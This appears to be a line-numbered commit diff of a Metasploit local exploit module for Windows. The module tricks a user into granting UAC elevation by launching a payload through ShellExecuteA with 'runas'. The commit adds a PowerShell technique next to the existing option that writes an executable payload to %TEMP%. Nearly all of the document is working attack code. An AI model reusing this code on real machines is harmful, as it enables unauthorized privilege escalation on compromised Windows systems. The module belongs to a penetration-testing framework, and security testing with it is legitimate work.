7
7
8
8
require 'msf/core'
9
9
require 'msf/core/exploit/exe'
10
+ require 'msf/core/exploit/powershell'
10
11
11
12
class Metasploit3 < Msf ::Exploit ::Local
12
13
Rank = ExcellentRanking
13
14
14
15
include Exploit ::EXE
15
16
include Post ::File
17
+ include Exploit ::Powershell
16
18
17
19
def initialize ( info = { } )
18
20
super ( update_info ( info ,
@@ -23,21 +25,25 @@ def initialize(info={})
23
25
UAC settings.
24
26
} ,
25
27
'License' => MSF_LICENSE ,
26
- 'Author' => [ 'mubix' ] ,
28
+ 'Author' => [
29
+ 'mubix' , # Original technique
30
+ 'b00stfr3ak' # Added powershell option
31
+ ] ,
27
32
'Platform' => [ 'win' ] ,
28
33
'SessionTypes' => [ 'meterpreter' ] ,
29
34
'Targets' => [ [ 'Windows' , { } ] ] ,
30
35
'DefaultTarget' => 0 ,
31
36
'References' => [
32
37
[ 'URL' , 'http://www.room362.com/blog/2012/1/3/uac-user-assisted-compromise.html' ]
33
38
] ,
34
- 'DisclosureDate' => "Jan 3 2012"
39
+ 'DisclosureDate' => "Jan 3 2012" ,
35
40
) )
36
41
37
42
register_options ( [
38
43
OptString . new ( "FILENAME" , [ false , "File name on disk" ] ) ,
39
44
OptString . new ( "PATH" , [ false , "Location on disk %TEMP% used if not set" ] ) ,
40
- OptBool . new ( "UPLOAD" , [ true , "Should the payload be uploaded?" , true ] )
45
+ OptBool . new ( "UPLOAD" , [ true , "Should the payload be uploaded?" , false ] ) ,
46
+ OptEnum . new ( "TECHNIQUE" , [ true , "Technique to use" , 'EXE' , [ 'PSH' , 'EXE' ] ] ) ,
41
47
] )
42
48
43
49
end
@@ -71,31 +77,42 @@ def exploit
71
77
#
72
78
# Generate payload and random names for upload
73
79
#
74
- payload = generate_payload_exe
75
80
76
- if datastore [ "FILENAME" ]
77
- payload_filename = datastore [ "FILENAME" ]
81
+ if datastore [ "TECHNIQUE" ] == "EXE"
82
+ if datastore [ "UPLOAD" ]
83
+ exe_payload = generate_exe_payload_exe
84
+
85
+ if datastore [ "FILENAME" ]
86
+ payload_filename = datastore [ "FILENAME" ]
87
+ else
88
+ payload_filename = Rex ::Text . rand_text_alpha ( ( rand ( 8 ) +6 ) ) + ".exe"
89
+ end
90
+
91
+ if datastore [ "PATH" ]
92
+ payload_path = datastore [ "PATH" ]
93
+ else
94
+ payload_path = session . fs . file . expand_path ( "%TEMP%" )
95
+ end
96
+
97
+ cmd_location = "#{ payload_path } \\ #{ payload_filename } "
98
+
99
+ if datastore [ "UPLOAD" ]
100
+ print_status ( "Uploading #{ payload_filename } - #{ exe_payload . length } bytes to the filesystem..." )
101
+ fd = session . fs . file . new ( cmd_location , "wb" )
102
+ fd . write ( exe_payload )
103
+ fd . close
104
+ end
105
+
106
+ session . railgun . shell32 . ShellExecuteA ( nil , "runas" , cmd_location , nil , nil , 5 )
107
+ else
108
+ print_error ( "No Upload Path!" )
109
+ return
110
+ end
78
111
else
79
- payload_filename = Rex ::Text . rand_text_alpha ( ( rand ( 8 ) +6 ) ) + ".exe"
112
+ command = cmd_psh_payload ( payload . encoded )
113
+ arguments = command . gsub ( "%COMSPEC% /B /C start powershell.exe " , "" )
114
+ session . railgun . shell32 . ShellExecuteA ( nil , "runas" , "powershell.exe" , "#{ arguments } " , nil , 5 )
80
115
end
81
-
82
- if datastore [ "PATH" ]
83
- payload_path = datastore [ "PATH" ]
84
- else
85
- payload_path = session . fs . file . expand_path ( "%TEMP%" )
86
- end
87
-
88
- cmd_location = "#{ payload_path } \\ #{ payload_filename } "
89
-
90
- if datastore [ "UPLOAD" ]
91
- print_status ( "Uploading #{ payload_filename } - #{ payload . length } bytes to the filesystem..." )
92
- fd = session . fs . file . new ( cmd_location , "wb" )
93
- fd . write ( payload )
94
- fd . close
95
- end
96
-
97
- session . railgun . shell32 . ShellExecuteA ( nil , "runas" , cmd_location , nil , nil , 5 )
98
-
99
116
end
100
117
end
101
118
0 commit comments